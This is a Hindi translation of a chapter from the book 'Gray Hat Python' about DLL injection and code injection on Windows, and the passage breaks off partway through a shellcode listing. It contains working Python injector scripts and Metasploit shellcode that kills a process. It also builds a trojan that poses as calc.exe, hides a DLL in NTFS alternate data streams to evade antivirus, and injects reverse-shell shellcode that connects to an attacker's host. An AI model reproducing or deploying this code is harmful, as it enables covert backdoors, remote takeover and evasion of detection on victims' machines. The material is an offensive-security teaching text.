ग्रे हैट पायथन - डीएलएल और कोड इंजेक्शन

पहचान

कभी-कभी, जब आप किसी प्रोग्राम को रिवर्स करते हैं या हमला करते हैं, तो अध्ययन के तहत प्रक्रिया के संदर्भ में अपने कोड को डाउनलोड और निष्पादित करने में सक्षम होना उपयोगी है। चाहे आप पासवर्ड हैश को चुरा लें या लक्ष्य प्रणाली के दूरस्थ डेस्कटॉप तक पहुंच प्राप्त करें, कोड को इंजेक्ट करने के तरीके और पुस्तकालयों को शक्तिशाली सुविधाओं को आकर्षित करना चाहिए। हम कुछ सरल पायथन उपयोगिताओं का निर्माण करेंगे जो आपको दोनों तरीकों का उपयोग करने की अनुमति देते हैं। ये विधियाँ कार्यक्रमों, कारनामों, शेल कोडों और पंचकों के प्रत्येक विकासकर्ता के शस्त्रागार का हिस्सा होनी चाहिए। हम एक अन्य प्रक्रिया के अंदर पॉपअप विंडो लॉन्च करने के लिए DLL इंजेक्शन का उपयोग करेंगे। हम PID के आधार पर एक प्रक्रिया को मारने के लिए डिज़ाइन किए गए शेलकोड का परीक्षण करने के लिए कोड इंजेक्शन का भी उपयोग करेंगे। अध्याय के अंत में, हम पायथन में पूरी तरह से लिखे गए ट्रोजन (पिछले दरवाजे की कार्यक्षमता के साथ) का संकलन और संकलन करेंगे। अधिक हद तक, वह कोड के कार्यान्वयन और कुछ अन्य छिपी हुई रणनीति के उपयोग पर निर्भर करेगा जो कि हर अच्छे पिछले दरवाजे का उपयोग करना चाहिए। चलो रिमोट थ्रेड बनाने के विषय को देखकर शुरू करते हैं, जो दोनों कार्यान्वयन विधियों के लिए आधार हैं।

7.1 रिमोट थ्रेड बनाना

DLL इंजेक्शन और कोड इंजेक्शन के बीच कुछ प्रमुख अंतर हैं, हालांकि, दोनों तरीकों को एक ही तरीके से प्राप्त किया जाता है - एक दूरस्थ धागा बनाकर। रिमोट थ्रेड CreateRemoteThread () फ़ंक्शन [1] का उपयोग करके बनाया गया है, जो कि Win32 API का हिस्सा है, जो कि kern32.dll से निर्यात किया जाता है। वह निम्नलिखित प्रोटोटाइप है:

HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); 

चिंता न करें, उसके कई पैरामीटर हैं, लेकिन वे सभी सहज हैं। पहला पैरामीटर, hProcess, आपको परिचित होना चाहिए। यह उस प्रक्रिया को संभालता है जिसमें हम धागा शुरू करते हैं। LpThreadAttributes पैरामीटर बस नए बनाए गए थ्रेड के लिए सुरक्षा डिस्क्रिप्टर सेट करता है और इंगित करता है कि क्या थ्रेड डिस्क्रिप्टर को चाइल्ड प्रक्रियाओं द्वारा विरासत में मिला जा सकता है। हम इसका मान NULL में सेट करेंगे, जो एक गैर-विरासत वाली स्ट्रीम डिस्क्रिप्टर और एक डिफ़ॉल्ट सुरक्षा डिस्क्रिप्टर देगा। DwStackSize पैरामीटर बस बनाए जा रहे स्ट्रीम के स्टैक आकार को सेट करता है। हम इसे शून्य पर सेट करेंगे, जो डिफ़ॉल्ट आकार देगा जो पहले से ही प्रक्रिया द्वारा उपयोग किया जाता है। निम्न lpStartAddress पैरामीटर सबसे महत्वपूर्ण में से एक है। यह इंगित करता है कि स्मृति में थ्रेड निष्पादित कहाँ से शुरू होगा। इस पते को सही ढंग से सेट करना बेहद महत्वपूर्ण है ताकि कार्यान्वयन को सुविधाजनक बनाने के लिए आवश्यक कोड निष्पादित हो। अगला पैरामीटर, lpParametr, पिछले वाले की तरह ही लगभग महत्वपूर्ण है। यह आपको एक चर के लिए एक पॉइंटर प्रदान करने की अनुमति देता है जो lpStartAddress में निर्दिष्ट स्ट्रीम फ़ंक्शन को दिया जाता है। यह पहली बार भ्रामक लग सकता है, लेकिन बहुत जल्द आप देखेंगे कि यह पैरामीटर DLL के कार्यान्वयन के लिए कितना महत्वपूर्ण है। DwCreationFlags पैरामीटर निर्धारित करता है कि थ्रेड कैसे शुरू किया जाएगा। हम इसे हमेशा शून्य पर सेट करेंगे, जिसका अर्थ है कि निर्माण के तुरंत बाद धागे को तुरंत निष्पादित किया जाएगा। DwCreationFlags का समर्थन करने वाले अन्य मूल्यों के लिए MSDN प्रलेखन की जाँच करने के लिए स्वतंत्र महसूस करें। LpThreadId पैरामीटर अंतिम है। यह नए बनाए गए स्ट्रीम के पहचानकर्ता (आईडी) से आबाद है।

अब जब आप इंजेक्ट कोड बनाने के लिए जिम्मेदार फ़ंक्शन को मुख्य कॉल को समझते हैं, तो हम DLL को दूरस्थ प्रक्रिया में एम्बेड करने के लिए इसके उपयोग के मुद्दे की जांच करेंगे, और फिर धीरे-धीरे शेल कोड के कार्यान्वयन के लिए आगे बढ़ेंगे। दूरस्थ स्ट्रीम बनाने और अंततः हमारे कोड को निष्पादित करने की प्रक्रिया, प्रत्येक विशिष्ट मामले (DLL और शेल कोड के कार्यान्वयन) के लिए थोड़ी अलग है, इसलिए हम सभी अंतरों को कवर करने के लिए दो बार इसके उपयोग का प्रदर्शन करेंगे।

7.1.1 DLL इंजेक्शन

DLL की शुरूआत काफी समय से अच्छे और बुरे दोनों के लिए की जाती रही है। आप जहां भी देखेंगे, आपको हर जगह एक DLL कार्यान्वयन दिखाई देगा। आपकी बैंकिंग जानकारी को चोरी करने के लिए असामान्य विंडोज शेल एक्सटेंशन से लेकर मैलवेयर तक। DLL कार्यान्वयन हर जगह है। यहां तक ​​कि सुरक्षा उत्पाद दुर्भावनापूर्ण गतिविधि को ट्रैक करने के लिए अपने स्वयं के DLL को तैनात कर रहे हैं। डीएलएल इंजेक्शन का उपयोग करने का संपूर्ण उद्देश्य यह है कि हम बाइनरी फ़ाइल को संकलित कर सकते हैं, इसे प्रक्रिया में लोड कर सकते हैं और प्रक्रिया के भाग के रूप में निष्पादित कर सकते हैं। यह बहुत उपयोगी है, उदाहरण के लिए, सॉफ्टवेयर फायरवॉल को बायपास करने के लिए जो केवल कुछ अनुप्रयोगों को आउटगोइंग कनेक्शन बनाने की अनुमति देता है। हम पायथन में एक DLL इंजेक्टर लिखते समय इस विषय पर थोड़ा शोध करेंगे, जो हमें किसी भी प्रक्रिया में DLL को एम्बेड करने की अनुमति देगा जो हम चुनते हैं।

Windows प्रक्रिया की मेमोरी में DLL को लोड करने के लिए, आपको LoadLibrary () फ़ंक्शन का उपयोग करने की आवश्यकता होती है, जिसे kern32.dll से निर्यात किया जाता है। वह निम्नलिखित प्रोटोटाइप है:

 HMODULE LoadLibrary( LPCTSTR lpFileName ); 

LpFileName पैरामीटर केवल उस DLL को लोड करने के लिए है जिसे आप लोड करना चाहते हैं। हमें लोड करने के लिए दूरस्थ प्रक्रिया को लोड करने के लिए मजबूर करने की आवश्यकता है लोडएलयूएलए को एक सूचक के साथ एक लोड डीएलएल के लिए पथ वाले स्ट्रिंग के साथ। पहला कदम यह पता लगाने के लिए है कि लोडलॉउड्स फ़ंक्शन कहाँ स्थित है। फिर भरी हुई DLL का नाम लिखें। जब हम CreateRemoteThread () कहते हैं, तो हम lpStartAddress पैरामीटर में LoadLibraryA का स्थान पता निर्दिष्ट करेंगे, और हम "पथ (नाम) का स्थान पता lpStarameter में प्लेस करेंगे। जब CreateRemoteThread () निष्पादित करना शुरू कर देता है, तो यह लोडलेयुडा को कॉल करेगा, जैसे कि दूरस्थ प्रक्रिया ने DLL को स्वयं लोड करने के लिए अनुरोध किया था।

नोट: परीक्षण कार्यान्वयन के लिए DLL इस पुस्तक के लिए स्रोत संग्रह में स्थित है, जिसे आप www.nostarch.com/ghpython.htm पर डाउनलोड कर सकते हैं। DLL के लिए स्रोत कोड भी अंदर है।

कोड पर चलते हैं। एक नया पायथन फ़ाइल खोलें, इसे dll_injector.py नाम दें और निम्न कोड दर्ज करें।

dll_injector.py

 import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) (#1): # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) (#2): # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) (#3): # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") (#4): # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value 

पहले चरण (# 1) पर, आपको एम्बेडेड DLL के पथ को बचाने के लिए पर्याप्त मेमोरी आवंटित करने की आवश्यकता है, और फिर इस पथ को नई आवंटित मेमोरी (# 2) में लिखें। फिर हमें इसे CreateRemoteThread () (# 4) फ़ंक्शन पर कॉल करने के लिए LoadLibraryA (# 3) फ़ंक्शन का पता खोजने की आवश्यकता है। जैसे ही निर्मित धागा चलना शुरू होता है, हमारे एम्बेडेड डीएलएल को हमले की प्रक्रिया में लोड करना चाहिए, जिसके बाद आपको एक पॉप-अप डायलॉग बॉक्स दिखाई देगा जो इंगित करता है कि कार्यान्वयन सफल था। नीचे दी गई स्क्रिप्ट का उपयोग करें:

 ./dll_injector <PID> <Path to DLL> 

अब हमारे पास एक अच्छा उदाहरण है कि डीएलएल कार्यान्वयन कैसे लागू किया जा सकता है। यद्यपि एम्बेडेड DLL पेलोड नहीं ले जाता है, इसलिए हमारे लिए कार्यान्वयन तकनीक को समझना महत्वपूर्ण है। अब कोड को लागू करने के लिए आगे बढ़ते हैं!

7.1.2 कोड इंजेक्शन

चलो कुछ और अधिक कपटी पर चलते हैं। कोड के कार्यान्वयन से हमें एक कच्चे शेलकोड को काम करने की प्रक्रिया में मेमोरी में तत्काल निष्पादन और डिस्क पर कोई निशान छोड़ने के बिना एम्बेड करने की अनुमति मिलती है। यह वह भी है जो हमलावरों को अपने शेल कनेक्शन को एक प्रक्रिया से दूसरी प्रक्रिया के बाद स्थानांतरित करने की अनुमति देता है।

हम शेलकोड का एक साधारण टुकड़ा लेंगे जो प्रक्रिया को एक विशिष्ट पीआईडी ​​के साथ समाप्त करता है। यह आपको एक दूरस्थ प्रक्रिया में जाने और उस प्रक्रिया को मारने की अनुमति देगा जिससे आप मूल रूप से चल रहे थे, जो आपको अपनी पटरियों को कवर करने में मदद करेगा।

यह ट्रोजन की एक प्रमुख विशेषता होगी, जिसे हम अंत में बनाएंगे। इसके अलावा, अपनी आवश्यकताओं को पूरा करने के लिए, हम आपको दिखाएंगे कि शेलकोड के टुकड़ों को सुरक्षित रूप से कैसे बदला जाए ताकि आप इसे थोड़ा अधिक मॉड्यूलर बना सकें।

शेलकोड प्राप्त करने के लिए, जो प्रक्रियाओं को मारता है, हम मेटस्प्लोइट प्रोजेक्ट होम पेज पर जाएंगे और उनके सुविधाजनक शेलकोड जनरेटर का उपयोग करेंगे। यदि आपने पहले इसका उपयोग नहीं किया है, तो metasploit.com/shellcode पर जाएं और इसके साथ खेलें। हमारे मामले में, मैंने विंडोज एक्सक्यूट कमांड शेलकोड बनाने के लिए जनरेटर का उपयोग किया, जिसे लिस्टिंग 7-1 में दिखाया गया है। तत्संबंधी सेटिंग्स को भी वहां दिखाया गया है:

लिस्टिंग 7-1: मेटा किप्लोइट प्रोजेक्ट ऑनलाइन जनरेटर द्वारा उत्पन्न शेल किलर शेलकोड।

 /* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00"; 

अब जब हमारे पास शेल कोड है, तो प्रोग्रामिंग पर लौटने और यह प्रदर्शित करने का समय है कि एम्बेडेड कोड कैसे काम करता है। एक नया पायथन फ़ाइल खोलें, इसे code_injector.py नाम दें और निम्नलिखित कोड दर्ज करें:

code_injector.py

 import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" (#1): padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) (#2): if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill 

आप पहले से ही कुछ कोड जानते हैं, लेकिन कुछ दिलचस्प ट्रिक्स हैं। पहली बात यह है कि पूरा होने के लिए प्रक्रिया की पीआईडी ​​के साथ शेल कोड (# 1) में मार्कर लाइन (\ x41 \ x41 \ x41 \ x41 \ x00) को बदलना है। एक और ध्यान देने योग्य अंतर यह है कि हम CreateRemoteThread () (# 2) फ़ंक्शन को कैसे कहते हैं। अब इसका पैरामीटर lpStartAddress शेलकोड की शुरुआत को इंगित करता है। हमने LpParameter को NULL में भी सेट किया है क्योंकि हमें फ़ंक्शन के लिए कुछ भी पास करने की आवश्यकता नहीं है, इसके बजाय हम केवल यह चाहते हैं कि थ्रेड शेलकोड को निष्पादित करना शुरू करें।

स्क्रिप्ट निष्पादित करने से पहले, कई cmd.exe प्रक्रियाएं चलाएं, फिर संबंधित PID प्राप्त करें और केवल तभी स्क्रिप्ट चलाएं जैसा कि नीचे दिखाया गया है:

 ./code_injector.py <PID to inject> <PID to kill> 

स्क्रिप्ट को निष्पादित करने के बाद, उपयुक्त कमांड लाइन तर्कों के साथ, आप एक सफलतापूर्वक बनाई गई स्ट्रीम देखेंगे (स्क्रिप्ट स्ट्रीम आईडी वापस कर देगा)। आपको यह भी ध्यान देना चाहिए कि आपके द्वारा चयनित cmd.exe प्रक्रिया को मार दिया गया था।

अब आप जानते हैं कि किसी अन्य प्रक्रिया में शेलकोड को कैसे लोड और निष्पादित करना है। यह न केवल शेलकोड का उपयोग करके कॉलबैक फ़ंक्शन सेट करते समय सुविधाजनक है, बल्कि अपने निशान को छिपाते समय भी है, क्योंकि आपके पास डिस्क पर कोई कोड नहीं होगा। अब हम सीखी गई जानकारी का उपयोग करते हैं और एक पिछले दरवाजे का निर्माण करते हैं जो आपको किसी भी समय अटैक किए गए मशीन तक पहुंच प्रदान करेगा जब उस पर इसे निष्पादित किया जाएगा। चलो बुराई के पक्ष में!

7.2 बुराई की तरफ

हम उन उद्देश्यों का उपयोग करते हैं जो हमने बुरे इरादों के लिए हासिल किए हैं। अब हम एक छोटे से पिछले दरवाजे का निर्माण करेंगे जिसका उपयोग किसी भी समय इसके नियंत्रण के दौरान सिस्टम पर नियंत्रण पाने के लिए किया जा सकता है। जब हमारा निष्पादन शुरू हो जाता है, तो हम उस मूल कार्यक्रम को लॉन्च करेंगे जिसे उपयोगकर्ता चलाना चाहता था (उदाहरण के लिए, हम अपने बाइनरी calc.exe और मूल calc.exe को कॉल करेंगे और इसे उस स्थान पर स्थानांतरित करेंगे जिसे हम जानते हैं)। जब दूसरी प्रक्रिया (मूल calc.exe ) लोड होती है, तो हम इसमें कोड इंजेक्ट करेंगे जो हमें रिमोट मशीन से जोड़ेगा। शेल कोड निष्पादित होने के बाद और हमारे पास शेल (रिमोट मशीन के साथ संचार) है, हम कोड के दूसरे टुकड़े को उस प्रक्रिया में पेश करेंगे, जहां से हमला किया गया था, जिसे इसे मारना है।

एक दूसरा! क्या हम अपने calc.exe को समाप्त कर सकते हैं? संक्षेप में, हाँ। लेकिन प्रक्रिया के पूरा होने में पिछले दरवाजे द्वारा समर्थित एक महत्वपूर्ण तकनीक है। उदाहरण के लिए, आप अपने ज्ञान को उस कोड के साथ जोड़ सकते हैं जो आपने पहले अध्यायों में सीखा था और काम करने के लिए एंटी-वायरस या फायरवॉल खोजने की कोशिश करें। एक प्रक्रिया से दूसरी प्रक्रिया में स्थानांतरित होने में सक्षम होना भी महत्वपूर्ण है और साथ ही उस प्रक्रिया को मारने में सक्षम होना चाहिए जिससे आप बस चले गए, यदि, निश्चित रूप से, आपको अब इसकी आवश्यकता नहीं है।

यह भाग यह भी दिखाएगा कि पायथन स्क्रिप्ट को EXE में कैसे संकलित किया जाए, और मुख्य निष्पादन योग्य फ़ाइल में DLL को कैसे छिपाया जाए। आइए देखें कि कैसे, एक छोटी सी चाल का उपयोग करके, आप एक डीएलएल बना सकते हैं जो हमारे EXE फ़ाइल के साथ-साथ हरेक के साथ गुजर जाएगा।

7.2.1 किसी फ़ाइल को छुपाना

हमारे पिछले दरवाजे के साथ कार्यान्वित DLL को सुरक्षित रूप से वितरित करने और बहुत अधिक ध्यान आकर्षित करने के लिए, आपको फ़ाइल को संग्रहीत करने के लिए एक छिपे हुए तरीके की आवश्यकता है। हम एक रैपर (लगभग लेन का मतलब है कि योजक) का उपयोग कर सकते हैं, जो दो निष्पादन योग्य फ़ाइलों (एक डीएलएल सहित) को लेता है और उन्हें एक साथ एक फ़ाइल में जोड़ता है, लेकिन चूंकि यह पुस्तक पायथन का उपयोग कर हैकिंग के बारे में है, इसलिए हमें थोड़ा रचनात्मक होना चाहिए।

निष्पादन योग्य फ़ाइलों के अंदर फ़ाइलों को छिपाने के लिए, हम NTFS फाइल सिस्टम में मौजूदा सुविधा का दुरुपयोग करते हैं, जिसे वैकल्पिक डेटा स्ट्रीम (ADS) कहा जाता है। वैकल्पिक डेटा स्ट्रीम पहली बार Windows NT 3.1 में दिखाई दीं और इसे Apple के पदानुक्रमित फ़ाइल सिस्टम (HFS) के साथ सहभागिता के साधन के रूप में पेश किया गया था। ADS हमें डिस्क पर एक फ़ाइल रखने और मुख्य निष्पादन योग्य फ़ाइल से जुड़ी स्ट्रीम में DLL को संग्रहीत करने की अनुमति देता है। एक स्ट्रीम वास्तव में एक छिपी हुई फ़ाइल से ज्यादा कुछ नहीं है जो एक फाइल से जुड़ी है जिसे आप डिस्क पर देख सकते हैं।

वैकल्पिक डेटा स्ट्रीम का उपयोग करते समय, हम उपयोगकर्ता के प्रत्यक्ष टकटकी से DLL छिपाते हैं। विशेष उपकरणों के बिना, एक कंप्यूटर उपयोगकर्ता एडीएस की सामग्री को देखने में सक्षम नहीं होगा, जो हमारे लिए आदर्श है। इसके अलावा, कई सुरक्षा उत्पाद वैकल्पिक धागे को ठीक से स्कैन नहीं करते हैं, इसलिए हमारे पास उनके आसपास जाने और पता लगाने से बचने का एक अच्छा मौका है।

वैकल्पिक स्ट्रीम का उपयोग करने के लिए, हमें मौजूदा फ़ाइल में एक कोलन और छिपी हुई वस्तु का फ़ाइल नाम जोड़ना होगा, जैसा कि नीचे दिखाया गया है:

 reverser.exe:vncdll.dll 

इस स्थिति में, हमें vncdll.dll मिलता है, जो एक वैकल्पिक डेटा स्ट्रीम में संग्रहीत होता है, जो कि reverser.exe फ़ाइल से जुड़ा होता है। आइए एक छोटी सी स्क्रिप्ट लिखें जो एक फाइल से वैकल्पिक स्ट्रीम को आसानी से पढ़ और लिख देगा। एक नया पायथन फ़ाइल खोलें, इसे file_hider.py नाम दें और निम्न कोड दर्ज करें।

file_hider.py

 import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close() 

कुछ खास नहीं - पहला कमांड लाइन तर्क वह DLL है जिसे हमें पढ़ने की आवश्यकता है, और दूसरा तर्क वह फाइल है जिसमें DLL को वैकल्पिक स्ट्रीम में लिखा जाएगा। हम निष्पादन योग्य फ़ाइल के अंदर किसी भी प्रकार की फ़ाइल को संग्रहीत करने के लिए इस सरल स्क्रिप्ट का उपयोग कर सकते हैं, हम ADS से सीधे DLL भी लागू कर सकते हैं। हालांकि हम अपने पिछले दरवाजे में डीएलएल इंजेक्शन का उपयोग नहीं करेंगे, फिर भी इसका समर्थन किया जाएगा, इसलिए इसे पढ़ें।

7.2.2 बैकडोर कोड

चलो हमारे "निष्पादन पुनर्निर्देशन कोड" बनाकर शुरू करते हैं, जो बस हमारे चुने हुए एप्लिकेशन को लॉन्च करता है। कोड के नाम का कारण "निष्पादन पुनर्निर्देशन" है, क्योंकि हम अपने पिछले दरवाजे को कॉल करते हैं और मूल calc.exe को किसी अन्य स्थान पर स्थानांतरित करते हैं। जब उपयोगकर्ता कैलकुलेटर शुरू करने की कोशिश करता है, तो वह अनजाने में हमारे पिछले दरवाजे को लॉन्च करता है, जो बदले में असली कैलकुलेटर लॉन्च करेगा और इस तरह उपयोगकर्ता को संदेह करने का कारण नहीं होगा। ध्यान दें कि हम अध्याय 3 से फ़ाइल my_debugger_defines.py शामिल करते हैं, जिसमें प्रक्रिया बनाने के लिए सभी आवश्यक स्थिरांक और संरचनाएं शामिल हैं। एक नई पायथन फ़ाइल खोलें, इसे backdoor.py नाम दें और निम्न कोड दर्ज करें:

backdoor.py

 # This library is from Chapter 3 and contains all # the necessary defines for process creation #     3.    #      import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId 

कोड बहुत जटिल नहीं है, इसमें आपके लिए कुछ नया नहीं है। कोड के कार्यान्वयन के लिए आगे बढ़ने से पहले, हम इस बात पर विचार करेंगे कि हम इसे बहुत ही इंजेक्शन कोड को कैसे छिपा सकते हैं। इसे सीधे पिछले कोड में जोड़ते हैं; प्रक्रिया निर्माण अनुभाग के ठीक बाद कोड संलग्न करें। हमारा कार्यान्वयन फ़ंक्शन एम्बेडेड कोड और एम्बेडेड DLL दोनों के साथ काम करने में सक्षम होगा; बस "पैरामीटर" को "1" पर सेट करें, और "डेटा" चर में DLL के लिए पथ डालें। यहां हम स्वच्छता का पालन नहीं करते हैं, लेकिन जल्दी और गंदे काम करते हैं। आइए हमारी पिछले दरवाजे फ़ाइल में एक एम्बेड फ़ंक्शन जोड़ें।

backdoor.py

 ... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True 

अब हमारे पिछले दरवाजे एक इंजेक्शन फ़ंक्शन का समर्थन करते हैं जो "कोड इंजेक्शन" और "डीएलएल इंजेक्शन" दोनों को संभाल सकता है। अब शेलकोड डालने का समय है, जिसमें दो भाग हैं। एक भाग एक "शेल" (हमलावर के साथ संचार के लिए एक शेल) प्रदान करने का इरादा है, और दूसरा प्रक्रियाओं को पूरा करने के लिए है। चलो हमारे पिछले दरवाजे में कोड जोड़ना जारी रखें।

backdoor.py

 ... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ 